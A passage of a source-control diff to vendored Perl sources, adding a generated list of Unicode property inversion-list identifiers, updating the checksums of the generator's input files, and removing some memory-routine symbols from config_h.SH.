+	PL_LB__EX_invlist,
+	PL_LB__GL_invlist,
+	PL_LB__H2_invlist,
+	PL_LB__H3_invlist,
+	PL_LB__HL_invlist,
+	PL_LB__HY_invlist,
+	PL_LB__ID_invlist,
+	PL_LB__IN_invlist,
+	PL_LB__IS_invlist,
+	PL_LB__LF_invlist,
+	PL_LB__NL_invlist,
+	PL_LB__NS_invlist,
+	PL_LB__NU_invlist,
+	PL_LB__OP_invlist,
+	PL_LB__PO_invlist,
+	PL_LB__PR_invlist,
+	PL_LB__QU_invlist,
+	PL_LB__SA_invlist,
+	PL_LB__SG_invlist,
+	PL_LB__SP_invlist,
+	PL_LB__SY_invlist,
+	PL_LB__WJ_invlist,
+	PL_LB__XX_invlist,
+	PL_LB__ZW_invlist,
+	PL_LB__ZWJ_invlist,
+	PL_LEPC_invlist,
+	PL_LETTERLIKESYMBOLS_invlist,
+	PL_LIMB_invlist,
+	PL_LINA_invlist,
+	PL_LINB_invlist,
+	PL_LINEARBIDEOGRAMS_invlist,
+	PL_LINEARBSYLLABARY_invlist,
+	PL_LISU_invlist,
+	PL_LL_invlist,
+	PL_LM_invlist,
+	PL_LO_invlist,
+	PL_LOE_invlist,
+	PL_LOWSURROGATES_invlist,
+	PL_LT_invlist,
+	PL_LU_invlist,
+	PL_LYCI_invlist,
+	PL_LYDI_invlist,
+	PL_L_AMP__invlist,
+	PL_M_invlist,
+	PL_MAHJ_invlist,
+	PL_MAHJONG_invlist,
+	PL_MAND_invlist,
+	PL_MANI_invlist,
+	PL_MARC_invlist,
+	PL_MATH_invlist,
+	PL_MATHALPHANUM_invlist,
+	PL_MATHOPERATORS_invlist,
+	PL_MC_invlist,
+	PL_ME_invlist,
+	PL_MEETEIMAYEKEXT_invlist,
+	PL_MEND_invlist,
+	PL_MERC_invlist,
+	PL_MERO_invlist,
+	PL_MIAO_invlist,
+	PL_MISCARROWS_invlist,
+	PL_MISCMATHSYMBOLSA_invlist,
+	PL_MISCMATHSYMBOLSB_invlist,
+	PL_MISCPICTOGRAPHS_invlist,
+	PL_MISCSYMBOLS_invlist,
+	PL_MISCTECHNICAL_invlist,
+	PL_MLYM_invlist,
+	PL_MN_invlist,
+	PL_MODI_invlist,
+	PL_MODIFIERLETTERS_invlist,
+	PL_MODIFIERTONELETTERS_invlist,
+	PL_MONG_invlist,
+	PL_MONGOLIANSUP_invlist,
+	PL_MRO_invlist,
+	PL_MTEI_invlist,
+	PL_MULT_invlist,
+	PL_MUSIC_invlist,
+	PL_MYANMAREXTA_invlist,
+	PL_MYANMAREXTB_invlist,
+	PL_MYMR_invlist,
+	PL_N_invlist,
+	PL_NARB_invlist,
+	PL_NB_invlist,
+	PL_NBAT_invlist,
+	PL_NCHAR_invlist,
+	PL_NEWA_invlist,
+	PL_NFCQC__M_invlist,
+	PL_NFCQC__Y_invlist,
+	PL_NFDQC__Y_invlist,
+	PL_NFKCQC__N_invlist,
+	PL_NFKCQC__Y_invlist,
+	PL_NFKDQC__N_invlist,
+	PL_NKO_invlist,
+	PL_NL_invlist,
+	PL_NO_invlist,
+	PL_NSHU_invlist,
+	PL_NT__DI_invlist,
+	PL_NT__NU_invlist,
+	PL_NUMBERFORMS_invlist,
+	PL_NV__0_invlist,
+	PL_NV__1_invlist,
+	PL_NV__10_invlist,
+	PL_NV__100_invlist,
+	PL_NV__1000_invlist,
+	PL_NV__10000_invlist,
+	PL_NV__100000_invlist,
+	PL_NV__1000000_invlist,
+	PL_NV__100000000_invlist,
+	PL_NV__10000000000_invlist,
+	PL_NV__1000000000000_invlist,
+	PL_NV__11_invlist,
+	PL_NV__11_SLASH_12_invlist,
+	PL_NV__11_SLASH_2_invlist,
+	PL_NV__12_invlist,
+	PL_NV__13_invlist,
+	PL_NV__13_SLASH_2_invlist,
+	PL_NV__14_invlist,
+	PL_NV__15_invlist,
+	PL_NV__15_SLASH_2_invlist,
+	PL_NV__16_invlist,
+	PL_NV__17_invlist,
+	PL_NV__17_SLASH_2_invlist,
+	PL_NV__18_invlist,
+	PL_NV__19_invlist,
+	PL_NV__1_SLASH_10_invlist,
+	PL_NV__1_SLASH_12_invlist,
+	PL_NV__1_SLASH_16_invlist,
+	PL_NV__1_SLASH_160_invlist,
+	PL_NV__1_SLASH_2_invlist,
+	PL_NV__1_SLASH_20_invlist,
+	PL_NV__1_SLASH_3_invlist,
+	PL_NV__1_SLASH_4_invlist,
+	PL_NV__1_SLASH_40_invlist,
+	PL_NV__1_SLASH_5_invlist,
+	PL_NV__1_SLASH_6_invlist,
+	PL_NV__1_SLASH_7_invlist,
+	PL_NV__1_SLASH_8_invlist,
+	PL_NV__1_SLASH_9_invlist,
+	PL_NV__2_invlist,
+	PL_NV__20_invlist,
+	PL_NV__200_invlist,
+	PL_NV__2000_invlist,
+	PL_NV__20000_invlist,
+	PL_NV__200000_invlist,
+	PL_NV__21_invlist,
+	PL_NV__216000_invlist,
+	PL_NV__22_invlist,
+	PL_NV__23_invlist,
+	PL_NV__24_invlist,
+	PL_NV__25_invlist,
+	PL_NV__26_invlist,
+	PL_NV__27_invlist,
+	PL_NV__28_invlist,
+	PL_NV__29_invlist,
+	PL_NV__2_SLASH_3_invlist,
+	PL_NV__2_SLASH_5_invlist,
+	PL_NV__3_invlist,
+	PL_NV__30_invlist,
+	PL_NV__300_invlist,
+	PL_NV__3000_invlist,
+	PL_NV__30000_invlist,
+	PL_NV__300000_invlist,
+	PL_NV__31_invlist,
+	PL_NV__32_invlist,
+	PL_NV__33_invlist,
+	PL_NV__34_invlist,
+	PL_NV__35_invlist,
+	PL_NV__36_invlist,
+	PL_NV__37_invlist,
+	PL_NV__38_invlist,
+	PL_NV__39_invlist,
+	PL_NV__3_SLASH_16_invlist,
+	PL_NV__3_SLASH_2_invlist,
+	PL_NV__3_SLASH_20_invlist,
+	PL_NV__3_SLASH_4_invlist,
+	PL_NV__3_SLASH_5_invlist,
+	PL_NV__3_SLASH_8_invlist,
+	PL_NV__3_SLASH_80_invlist,
+	PL_NV__4_invlist,
+	PL_NV__40_invlist,
+	PL_NV__400_invlist,
+	PL_NV__4000_invlist,
+	PL_NV__40000_invlist,
+	PL_NV__400000_invlist,
+	PL_NV__41_invlist,
+	PL_NV__42_invlist,
+	PL_NV__43_invlist,
+	PL_NV__432000_invlist,
+	PL_NV__44_invlist,
+	PL_NV__45_invlist,
+	PL_NV__46_invlist,
+	PL_NV__47_invlist,
+	PL_NV__48_invlist,
+	PL_NV__49_invlist,
+	PL_NV__4_SLASH_5_invlist,
+	PL_NV__5_invlist,
+	PL_NV__50_invlist,
+	PL_NV__500_invlist,
+	PL_NV__5000_invlist,
+	PL_NV__50000_invlist,
+	PL_NV__500000_invlist,
+	PL_NV__5_SLASH_12_invlist,
+	PL_NV__5_SLASH_2_invlist,
+	PL_NV__5_SLASH_6_invlist,
+	PL_NV__5_SLASH_8_invlist,
+	PL_NV__6_invlist,
+	PL_NV__60_invlist,
+	PL_NV__600_invlist,
+	PL_NV__6000_invlist,
+	PL_NV__60000_invlist,
+	PL_NV__600000_invlist,
+	PL_NV__7_invlist,
+	PL_NV__70_invlist,
+	PL_NV__700_invlist,
+	PL_NV__7000_invlist,
+	PL_NV__70000_invlist,
+	PL_NV__700000_invlist,
+	PL_NV__7_SLASH_12_invlist,
+	PL_NV__7_SLASH_2_invlist,
+	PL_NV__7_SLASH_8_invlist,
+	PL_NV__8_invlist,
+	PL_NV__80_invlist,
+	PL_NV__800_invlist,
+	PL_NV__8000_invlist,
+	PL_NV__80000_invlist,
+	PL_NV__800000_invlist,
+	PL_NV__9_invlist,
+	PL_NV__90_invlist,
+	PL_NV__900_invlist,
+	PL_NV__9000_invlist,
+	PL_NV__90000_invlist,
+	PL_NV__900000_invlist,
+	PL_NV__9_SLASH_2_invlist,
+	PL_NV__NAN_invlist,
+	PL_NV___MINUS_1_SLASH_2_invlist,
+	PL_OCR_invlist,
+	PL_OGAM_invlist,
+	PL_OLCK_invlist,
+	PL_ORKH_invlist,
+	PL_ORNAMENTALDINGBATS_invlist,
+	PL_ORYA_invlist,
+	PL_OSGE_invlist,
+	PL_OSMA_invlist,
+	PL_P_invlist,
+	PL_PALM_invlist,
+	PL_PATSYN_invlist,
+	PL_PATWS_invlist,
+	PL_PAUC_invlist,
+	PL_PC_invlist,
+	PL_PCM_invlist,
+	PL_PD_invlist,
+	PL_PE_invlist,
+	PL_PERM_invlist,
+	PL_PF_invlist,
+	PL_PHAG_invlist,
+	PL_PHAISTOS_invlist,
+	PL_PHLI_invlist,
+	PL_PHLP_invlist,
+	PL_PHNX_invlist,
+	PL_PHONETICEXT_invlist,
+	PL_PHONETICEXTSUP_invlist,
+	PL_PI_invlist,
+	PL_PLAYINGCARDS_invlist,
+	PL_PO_invlist,
+	PL_POSIXALNUM_invlist,
+	PL_POSIXALPHA_invlist,
+	PL_POSIXBLANK_invlist,
+	PL_POSIXCNTRL_invlist,
+	PL_POSIXDIGIT_invlist,
+	PL_POSIXGRAPH_invlist,
+	PL_POSIXLOWER_invlist,
+	PL_POSIXPRINT_invlist,
+	PL_POSIXPUNCT_invlist,
+	PL_POSIXSPACE_invlist,
+	PL_POSIXUPPER_invlist,
+	PL_POSIXWORD_invlist,
+	PL_POSIXXDIGIT_invlist,
+	PL_PRTI_invlist,
+	PL_PS_invlist,
+	PL_PUA_invlist,
+	PL_QAAI_invlist,
+	PL_QMARK_invlist,
+	PL_RADICAL_invlist,
+	PL_RI_invlist,
+	PL_RJNG_invlist,
+	PL_RUMI_invlist,
+	PL_RUNR_invlist,
+	PL_S_invlist,
+	PL_SAMR_invlist,
+	PL_SARB_invlist,
+	PL_SAUR_invlist,
+	PL_SB__AT_invlist,
+	PL_SB__CL_invlist,
+	PL_SB__EX_invlist,
+	PL_SB__FO_invlist,
+	PL_SB__LE_invlist,
+	PL_SB__LO_invlist,
+	PL_SB__SC_invlist,
+	PL_SB__SE_invlist,
+	PL_SB__SP_invlist,
+	PL_SB__ST_invlist,
+	PL_SB__UP_invlist,
+	PL_SB__XX_invlist,
+	PL_SC_invlist,
+	PL_SC__ADLM_invlist,
+	PL_SC__ARAB_invlist,
+	PL_SC__ARMN_invlist,
+	PL_SC__BENG_invlist,
+	PL_SC__BOPO_invlist,
+	PL_SC__BUGI_invlist,
+	PL_SC__BUHD_invlist,
+	PL_SC__CAKM_invlist,
+	PL_SC__COPT_invlist,
+	PL_SC__CPRT_invlist,
+	PL_SC__CYRL_invlist,
+	PL_SC__DEVA_invlist,
+	PL_SC__DUPL_invlist,
+	PL_SC__GEOR_invlist,
+	PL_SC__GLAG_invlist,
+	PL_SC__GRAN_invlist,
+	PL_SC__GREK_invlist,
+	PL_SC__GUJR_invlist,
+	PL_SC__GURU_invlist,
+	PL_SC__HAN_invlist,
+	PL_SC__HANG_invlist,
+	PL_SC__HANO_invlist,
+	PL_SC__HIRA_invlist,
+	PL_SC__JAVA_invlist,
+	PL_SC__KALI_invlist,
+	PL_SC__KANA_invlist,
+	PL_SC__KHOJ_invlist,
+	PL_SC__KNDA_invlist,
+	PL_SC__KTHI_invlist,
+	PL_SC__LATN_invlist,
+	PL_SC__LIMB_invlist,
+	PL_SC__LINA_invlist,
+	PL_SC__LINB_invlist,
+	PL_SC__MAHJ_invlist,
+	PL_SC__MAND_invlist,
+	PL_SC__MANI_invlist,
+	PL_SC__MLYM_invlist,
+	PL_SC__MODI_invlist,
+	PL_SC__MONG_invlist,
+	PL_SC__MULT_invlist,
+	PL_SC__MYMR_invlist,
+	PL_SC__ORYA_invlist,
+	PL_SC__PERM_invlist,
+	PL_SC__PHAG_invlist,
+	PL_SC__PHLP_invlist,
+	PL_SC__QAAI_invlist,
+	PL_SC__SHRD_invlist,
+	PL_SC__SIND_invlist,
+	PL_SC__SINH_invlist,
+	PL_SC__SYLO_invlist,
+	PL_SC__SYRC_invlist,
+	PL_SC__TAGB_invlist,
+	PL_SC__TAKR_invlist,
+	PL_SC__TALE_invlist,
+	PL_SC__TAML_invlist,
+	PL_SC__TELU_invlist,
+	PL_SC__TGLG_invlist,
+	PL_SC__THAA_invlist,
+	PL_SC__TIRH_invlist,
+	PL_SC__YI_invlist,
+	PL_SC__ZYYY_invlist,
+	PL_SD_invlist,
+	PL_SGNW_invlist,
+	PL_SHAW_invlist,
+	PL_SHORTHANDFORMATCONTROLS_invlist,
+	PL_SHRD_invlist,
+	PL_SIDD_invlist,
+	PL_SIND_invlist,
+	PL_SINH_invlist,
+	PL_SINHALAARCHAICNUMBERS_invlist,
+	PL_SK_invlist,
+	PL_SM_invlist,
+	PL_SMALLFORMS_invlist,
+	PL_SO_invlist,
+	PL_SORA_invlist,
+	PL_SOYO_invlist,
+	PL_SPECIALS_invlist,
+	PL_STERM_invlist,
+	PL_SUND_invlist,
+	PL_SUNDANESESUP_invlist,
+	PL_SUPARROWSA_invlist,
+	PL_SUPARROWSB_invlist,
+	PL_SUPARROWSC_invlist,
+	PL_SUPERANDSUB_invlist,
+	PL_SUPMATHOPERATORS_invlist,
+	PL_SUPPUAA_invlist,
+	PL_SUPPUAB_invlist,
+	PL_SUPPUNCTUATION_invlist,
+	PL_SUPSYMBOLSANDPICTOGRAPHS_invlist,
+	PL_SUTTONSIGNWRITING_invlist,
+	PL_SYLO_invlist,
+	PL_SYRC_invlist,
+	PL_SYRIACSUP_invlist,
+	PL_TAGB_invlist,
+	PL_TAGS_invlist,
+	PL_TAIXUANJING_invlist,
+	PL_TAKR_invlist,
+	PL_TALE_invlist,
+	PL_TALU_invlist,
+	PL_TAML_invlist,
+	PL_TANG_invlist,
+	PL_TANGUTCOMPONENTS_invlist,
+	PL_TAVT_invlist,
+	PL_TELU_invlist,
+	PL_TERM_invlist,
+	PL_TFNG_invlist,
+	PL_TGLG_invlist,
+	PL_THAA_invlist,
+	PL_THAI_invlist,
+	PL_TIBT_invlist,
+	PL_TIRH_invlist,
+	PL_TRANSPORTANDMAP_invlist,
+	PL_UCAS_invlist,
+	PL_UCASEXT_invlist,
+	PL_UGAR_invlist,
+	PL_UIDEO_invlist,
+	PL_VAI_invlist,
+	PL_VEDICEXT_invlist,
+	PL_VERTICALFORMS_invlist,
+	PL_VERTSPACE_invlist,
+	PL_VO__R_invlist,
+	PL_VO__TR_invlist,
+	PL_VO__TU_invlist,
+	PL_VO__U_invlist,
+	PL_VS_invlist,
+	PL_VSSUP_invlist,
+	PL_WARA_invlist,
+	PL_WB__DQ_invlist,
+	PL_WB__EB_invlist,
+	PL_WB__EBG_invlist,
+	PL_WB__EX_invlist,
+	PL_WB__EXTEND_invlist,
+	PL_WB__FO_invlist,
+	PL_WB__GAZ_invlist,
+	PL_WB__KA_invlist,
+	PL_WB__LE_invlist,
+	PL_WB__MB_invlist,
+	PL_WB__ML_invlist,
+	PL_WB__MN_invlist,
+	PL_WB__NL_invlist,
+	PL_WB__NU_invlist,
+	PL_WB__SQ_invlist,
+	PL_WB__XX_invlist,
+	PL_XIDC_invlist,
+	PL_XIDS_invlist,
+	PL_XPEO_invlist,
+	PL_XPOSIXALNUM_invlist,
+	PL_XPOSIXALPHA_invlist,
+	PL_XPOSIXBLANK_invlist,
+	PL_XPOSIXCNTRL_invlist,
+	PL_XPOSIXDIGIT_invlist,
+	PL_XPOSIXGRAPH_invlist,
+	PL_XPOSIXLOWER_invlist,
+	PL_XPOSIXPRINT_invlist,
+	PL_XPOSIXPUNCT_invlist,
+	PL_XPOSIXSPACE_invlist,
+	PL_XPOSIXUPPER_invlist,
+	PL_XPOSIXWORD_invlist,
+	PL_XPOSIXXDIGIT_invlist,
+	PL_XSUX_invlist,
+	PL_YI_invlist,
+	PL_YIJING_invlist,
+	PL_YIRADICALS_invlist,
+	PL_YISYLLABLES_invlist,
+	PL_Z_invlist,
+	PL_ZANB_invlist,
+	PL_ZL_invlist,
+	PL_ZP_invlist,
+	PL_ZS_invlist,
+	PL_ZYYY_invlist,
+	PL_ZZZZ_invlist,
+	PL__PERL_ANY_FOLDS_invlist,
+	PL__PERL_CHARNAME_BEGIN_invlist,
+	PL__PERL_CHARNAME_CONTINUE_invlist,
+	PL__PERL_FOLDS_TO_MULTI_CHAR_invlist,
+	PL__PERL_IDCONT_invlist,
+	PL__PERL_IDSTART_invlist,
+	PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START_invlist,
+	PL__PERL_PROBLEMATIC_LOCALE_FOLDS_invlist,
+	PL__PERL_QUOTEMETA_invlist
+};
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
 #if defined(PERL_IN_REGEXEC_C)
 
 #define GCB_NOBREAK      0
@@ -95364,51 +374605,52 @@
 #endif	/* defined(PERL_IN_REGEXEC_C) */
 
 /* Generated from:
- * 59e717586b720a821ee0d7397679d5322e38b49f6fb7840545aedf669c733b70 lib/Unicode/UCD.pm
- * 47cb62a53beea6d0263e2147331c7e751853c9327225d95bbe2d9e1dc3e1aa44 lib/unicore/ArabicShaping.txt
- * 153f0a100c315f9f3945e78f57137611d36c44b3a975919c499fd403413fede8 lib/unicore/BidiBrackets.txt
- * fbe806975c1bf9fc9960bbaa39ff6290c42c7da8315f9cd459109b024cc1c485 lib/unicore/BidiMirroring.txt
- * 612127d4889032e55d82522e4a0c19793bda8aa8da14ecb3c696d17c83e6be13 lib/unicore/Blocks.txt
- * 37d40cf8c2c35637f4a04e746814e1fc4eb764c272bed9238a87ee96a4866857 lib/unicore/CaseFolding.txt
- * 5623df16856ad4007c60bdfff6f054e087521becd24cb4006be69c3a1d851aee lib/unicore/CompositionExclusions.txt
- * 5cb15b04693c43df16e0d304deca049e93b001445d163184e0ff1b7c8c852146 lib/unicore/DAge.txt
- * 6662c7e30b572df5d948c092692f52bcc79ab36d49a063a73d6435042db6fb3b lib/unicore/DCoreProperties.txt
- * 02d8e12cea7c61a9f3cc5fbf8eaceadf8da23fe83d60c64cf647088830b810cc lib/unicore/DNormalizationProps.txt
- * 3382cb4980e0021e9d4312f2d099315cfab6100ce0ff63a22d6937bfa720bcb7 lib/unicore/EastAsianWidth.txt
- * cb02ff25c375e78c82afffc852180eae7fc17c2f4434e697107720d05c52b26e lib/unicore/HangulSyllableType.txt
- * 850043bc9db08eddb271e43ed9176b865df76745a5fb6e9a4a1d9e54e5036471 lib/unicore/IndicPositionalCategory.txt
- * 90a3a00a5f5810850986c9279849b03c2f3133cfeeefb0554e851dd5ad7324dc lib/unicore/IndicSyllabicCategory.txt
- * bbd36a8d27f76e0fe0f2b0ca2827ac80da4b4a8d5247f0b0670fcaaac68ae6e1 lib/unicore/Jamo.txt
- * e2698584982ccd96e0c688bbcd4d2c48a23805baa0a0084388ef2e50ebd30aad lib/unicore/LineBreak.txt
- * 9d5353b1d318e72a63a49aa6a6a051d350382ea44b2cf31fe925bb94ce7e129b lib/unicore/NameAliases.txt
- * 009477f536f63016d901aeb1a4c820ad291e30e72ee9eb9ac1dfb6294a8a9bcc lib/unicore/NamedSequences.txt
- * f413ea8dbd3858de72f3148b47dd0586019761357d1481e3b65f3a025bc27f82 lib/unicore/PropList.txt
- * 56582d9875c1997876cf09305ccfc83448195de5d84d6374c78efaffeca4dfd7 lib/unicore/PropValueAliases.txt
- * 047ab0f815b6d1b30a863d6fcbd49e6358e168a3bd6c7189e80ab9863957d222 lib/unicore/PropertyAliases.txt
- * cde011921972dffe3e30dcbc7afbf069bf2eb01269097111dd7533b4c524caac lib/unicore/ScriptExtensions.txt
- * fba415952f5654145acad220dc2b878f815c673474d2bb4928934e3ba6ccca1d lib/unicore/Scripts.txt
- * dfc4f159c5c68328114ff17cd520451714a72ff48657287e5fe2f64344980695 lib/unicore/SpecialCasing.txt
- * 68dfc414d28257b9b5d6ddbb8b466c768c00ebdf6cbf7784364a9b6cad55ee8f lib/unicore/UnicodeData.txt
- * c76e7ed44a602f85161758ec54d2bcbcb7baf38f97720605a3e81ce02af47061 lib/unicore/auxiliary/GCBTest.txt
- * 4bb8931857e0a698fd2ec4a51a84c6de33e48a50d8b4bf0b57d960c41d77a191 lib/unicore/auxiliary/GraphemeBreakProperty.txt
- * 0c609ae4a32a89905c004010ef29885df3c60a941311a1a6e16003333d7fcdc8 lib/unicore/auxiliary/LBTest.txt
- * 26afdd5f38561167807b0f191af55b05761029ae6be2b7fe85b88f28effc66b5 lib/unicore/auxiliary/SBTest.txt
- * 53982766eeaf26674e7e2ec956c52846d52992ea9f4f1a202d488fb5cd76dd10 lib/unicore/auxiliary/SentenceBreakProperty.txt
- * 7f60beacc5ec5671edb56db36defc90cfc0016de4fd2bdfde7a3e4ec209840ce lib/unicore/auxiliary/WBTest.txt
- * cb2db065c77287e0f1d35b8c9b473d848b7566a1670439f67c357ca393084043 lib/unicore/auxiliary/WordBreakProperty.txt
- * 73573a4bee7f7377d936bc1710cd578001d00ba516e72ee54e906ae51a8c1fcb lib/unicore/extracted/DBidiClass.txt
- * ae8f55d8bb2bb69a63f70eef38cf5921fc3ba8e06d4d88f37950d32313a14754 lib/unicore/extracted/DBinaryProperties.txt
- * cf263ac4848d47264300139f97ed15c2c22896d2cef411483cbe292098c08bea lib/unicore/extracted/DCombiningClass.txt
- * 5bac89caf8d1fa23fcbbbf4d49ea0699b680ef1a73cbfa0daaac38c993906a74 lib/unicore/extracted/DDecompositionType.txt
- * e17138d36cd91f0e0d16437780a887c5ac637bde0de370b96f08a3424fcc322f lib/unicore/extracted/DEastAsianWidth.txt
- * fad25c183f4d439622c6be33c22ed709cdc4ac19feef0250527cf319a06952fe lib/unicore/extracted/DGeneralCategory.txt
- * c0d080b188fbe67dead10a3897dd2ca23da862c7f0b03508a92dcf27cd7e1f41 lib/unicore/extracted/DJoinGroup.txt
- * 3a8f8642084ed23b0de52af72dea0ff3d0b6928e6c7442832c663899e2b85e9d lib/unicore/extracted/DJoinType.txt
- * 37f6186253da9824bdb27f4ad867bfe8c25d4dc6bdb2f05585e40a034675a348 lib/unicore/extracted/DLineBreak.txt
- * ef24061b5a5dc93d7e90c2e34530ec757180ee75d872cba65ffc946e52624ae8 lib/unicore/extracted/DNumType.txt
- * a197371fec9a1b517058b440841f60f9378d81682084eef8db22a88cb2f96e90 lib/unicore/extracted/DNumValues.txt
- * 79a7216aceb1d291f2857085545fdda289518bc540a09bc0a15cde105d76028d lib/unicore/mktables
- * cdecb300baad839a6f62791229f551a4fa33f3cbdca08e378dc976466354e778 lib/unicore/version
+ * 4d64b650346ff9ddbcd3986f0da13f3be2379d64c574a120ca7f534d8d17934c lib/Unicode/UCD.pm
+ * ff4404ec64f308bdf7714c50f9fdf0d1d0bf3c34db4d0a67e58ef0c6f88e818f lib/unicore/ArabicShaping.txt
+ * 292171a0a1c13d7e581e8781eb4cdf248243b1ab267354a63c7a14429dea2740 lib/unicore/BidiBrackets.txt
+ * 8f2695cc42989a79a715ab0d2892bd0c998759180cfdfb998674447f48231940 lib/unicore/BidiMirroring.txt
+ * 5ae1649a42ed8ae8cb885af79563f00a9ae17e602405a56ed8aca214da14eea7 lib/unicore/Blocks.txt
+ * 97b43ed3f4b80572c2114200e5e43a6b923d984c74a6caaf27de5b8462c04cb0 lib/unicore/CaseFolding.txt
+ * eedcf6932b4081ee65878454588c803af910a5aed7c8c67e3c38701cbee9b9e4 lib/unicore/CompositionExclusions.txt
+ * 90e48995643f45b08f0ef67fb90de3bb18e26765272bcc0c35c840cbc10b37c1 lib/unicore/DAge.txt
+ * e6ca152259189ec4bc2297e93c6c88f86e162cc52814198263497f3c9b46cbe9 lib/unicore/DCoreProperties.txt
+ * 3e255ccdff4b00cfe0be53bbd583e4fe2e7d4039138579543548a5ecfce45242 lib/unicore/DNormalizationProps.txt
+ * 9f34e2d3ea27ca82f4f14b62411861d1f07c4b9e296d54da112a09cad5b9a48d lib/unicore/EastAsianWidth.txt
+ * 983810c739b56b9ff0fcb5db018c67d584ee515e8a5f4d9348c79ee85167ec37 lib/unicore/HangulSyllableType.txt
+ * 7d514a779ee4baf91262bd83c400cb502c3e435dba4b880c876506be32b8e1d0 lib/unicore/IndicPositionalCategory.txt
+ * f6acead8f84df5c72f3fb70dfc9375279926e4d8ef3480ffff3723095e9804aa lib/unicore/IndicSyllabicCategory.txt
+ * c8ed526f70443535ca6b705980a08c774017ff17e921202dcb7b71ae554047b6 lib/unicore/Jamo.txt
+ * 6b204c3727b77699d04a574b22b1e44facab038642095b8565b49762970d9bf8 lib/unicore/LineBreak.txt
+ * f2357d2bd3526b9e830de72ab038dcfc65a2dff24bcb4c6325c92071eb341f88 lib/unicore/NameAliases.txt
+ * 6c3e6bd1e58b640076a23b83318a8bf6a691d7fc2b2106114d77c5c5a898bced lib/unicore/NamedSequences.txt
+ * 58dbf8fedbd5bf67a3bd5c10eda2f2acf2eae59df5f77884a6f158e98f75cf8c lib/unicore/PropList.txt
+ * a6b0467c3cc7aa4e57d4e5cc7f6e9562b79cf4426dfe438517c28b368ed3e673 lib/unicore/PropValueAliases.txt
+ * 9ca521224e08d30696516ae6bc3d4434659c45df16047c0d31e440783c163a3b lib/unicore/PropertyAliases.txt
+ * 3fd0d744a816ddfd06809f92151ae4a73ec970ac2006806c269732d8951f3911 lib/unicore/ScriptExtensions.txt
+ * d02e24e4c516e9090b6bc9c2d2c8f4c89510b6ed8c5e859d0a861b0dc5cf372d lib/unicore/Scripts.txt
+ * e9947a0e86f27353f0e776403c4826675001210bd39d7114118a8864a57f7472 lib/unicore/SpecialCasing.txt
+ * 52423e4d7492167b62f518f68d54db88930abbbff7f11edfcaec8f726498cab1 lib/unicore/UnicodeData.txt
+ * f28caf260635cebf25fd58124bdc9aa22af08ba4d039ffc584365fb41a31cda5 lib/unicore/VerticalOrientation.txt
+ * 718d174957712410bfad782b10d557e1047574d7ef1642d6bb122f8ca5662c82 lib/unicore/auxiliary/GCBTest.txt
+ * 3b66caefc4fa877d0e50dbbbfa39658c86e29b26c6f206f68d7aec192d4c59b6 lib/unicore/auxiliary/GraphemeBreakProperty.txt
+ * 2aad3836c37fc4c2fa2a24f21586fb3a931dacaf0a1c845a6dc6395f30bd79a7 lib/unicore/auxiliary/LBTest.txt
+ * eacc03e39dddc60cc59ec9bd274b8ac8dfa25d61745ef0d5c8aa1c151a5b68ba lib/unicore/auxiliary/SBTest.txt
+ * e45fa8195bb413b901cc1e3772dfea2cead86805d46a51e3480a5a256e8c24d9 lib/unicore/auxiliary/SentenceBreakProperty.txt
+ * 95789f62e3b1e781dc9ed78f3983d39ff1a5e36ff0b497d6e610446df902b0f6 lib/unicore/auxiliary/WBTest.txt
+ * c207e8ebd06ee591a27b1087f2971f4cd93e960103c453d85d1d9ba26fb8b202 lib/unicore/auxiliary/WordBreakProperty.txt
+ * a3c0839826a30166b2bb06ba58df403547b8c3d9eae995ef889d20d115f4b223 lib/unicore/extracted/DBidiClass.txt
+ * 280afe22f6c4d56566d17d6d1400f33465a979c96f3d99ff3bff9bd14d17e734 lib/unicore/extracted/DBinaryProperties.txt
+ * db7fd6a5e6f068c47dbc3b74fb633fb1d09d17073410fe435295d05ce925c5f6 lib/unicore/extracted/DCombiningClass.txt
+ * 8204c07a7c217bdf22525030ad7b4fb991edf463bffcca7e6dba46b9992e0d99 lib/unicore/extracted/DDecompositionType.txt
+ * e343113719b660bdd81217ec101ce751f844fca0e8d6f15fb21c8ee7dfe7c14c lib/unicore/extracted/DEastAsianWidth.txt
+ * 07c55b0ed7271fe1a5f4d68059291288b1a8ad61940602d18956fd87390c2d9e lib/unicore/extracted/DGeneralCategory.txt
+ * d788b9362ec7681e98f8b9d6ef276546e1a6207dda05317ede55bd686b0940a9 lib/unicore/extracted/DJoinGroup.txt
+ * ebbea3c93eeb7431378885aebac0490d77f6900239c9176f90b6fee030903d96 lib/unicore/extracted/DJoinType.txt
+ * be0f129691d479aa38646e4ca0ec1ee576ae7f75b0300a5624a7fa862fa8abba lib/unicore/extracted/DLineBreak.txt
+ * 92449d354d9f6b6f2f97a292ebb59f6344ffdeb83d120d7d23e569c43ba67cd5 lib/unicore/extracted/DNumType.txt
+ * e3a319527153b0c6c0c549b40fc6f3a01a7a0dcd6620784391db25901df3b154 lib/unicore/extracted/DNumValues.txt
+ * ba5b13123afb59ea004c14fcbac80b5ff428c5b8f1b84bf8602b4ffb7da0407f lib/unicore/mktables
+ * 21653d2744fdd071f9ef138c805393901bb9547cf3e777ebf50215a191f986ea lib/unicore/version
  * 913d2f93f3cb6cdf1664db888bf840bc4eb074eef824e082fceda24a9445e60c regen/charset_translations.pl
- * 9534d0cc3914fa1f5d574332c3199605c3d14f8691a0729d68d8498ac2b36280 regen/mk_invlists.pl
+ * 33533b773e8eb3486472ad21caf90221710a3e0eb12040cf1fd84c24ba53f2dc regen/mk_invlists.pl
  * ex: set ro: */

Modified: vendor/perl/dist/config_h.SH
===================================================================
--- vendor/perl/dist/config_h.SH	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/config_h.SH	2018-12-22 22:55:19 UTC (rev 12126)
@@ -63,24 +63,6 @@
  */
 #$d_alarm HAS_ALARM		/**/
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
- */
-#$d_bcmp HAS_BCMP	/**/
-
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-#$d_bcopy HAS_BCOPY	/**/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-#$d_bzero HAS_BZERO	/**/
-
 /* HAS_CBRT:
  *	This symbol, if defined, indicates that the cbrt() (cube root)
  *	function is available.
@@ -123,14 +105,6 @@
  */
 #$d_cuserid HAS_CUSERID		/**/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
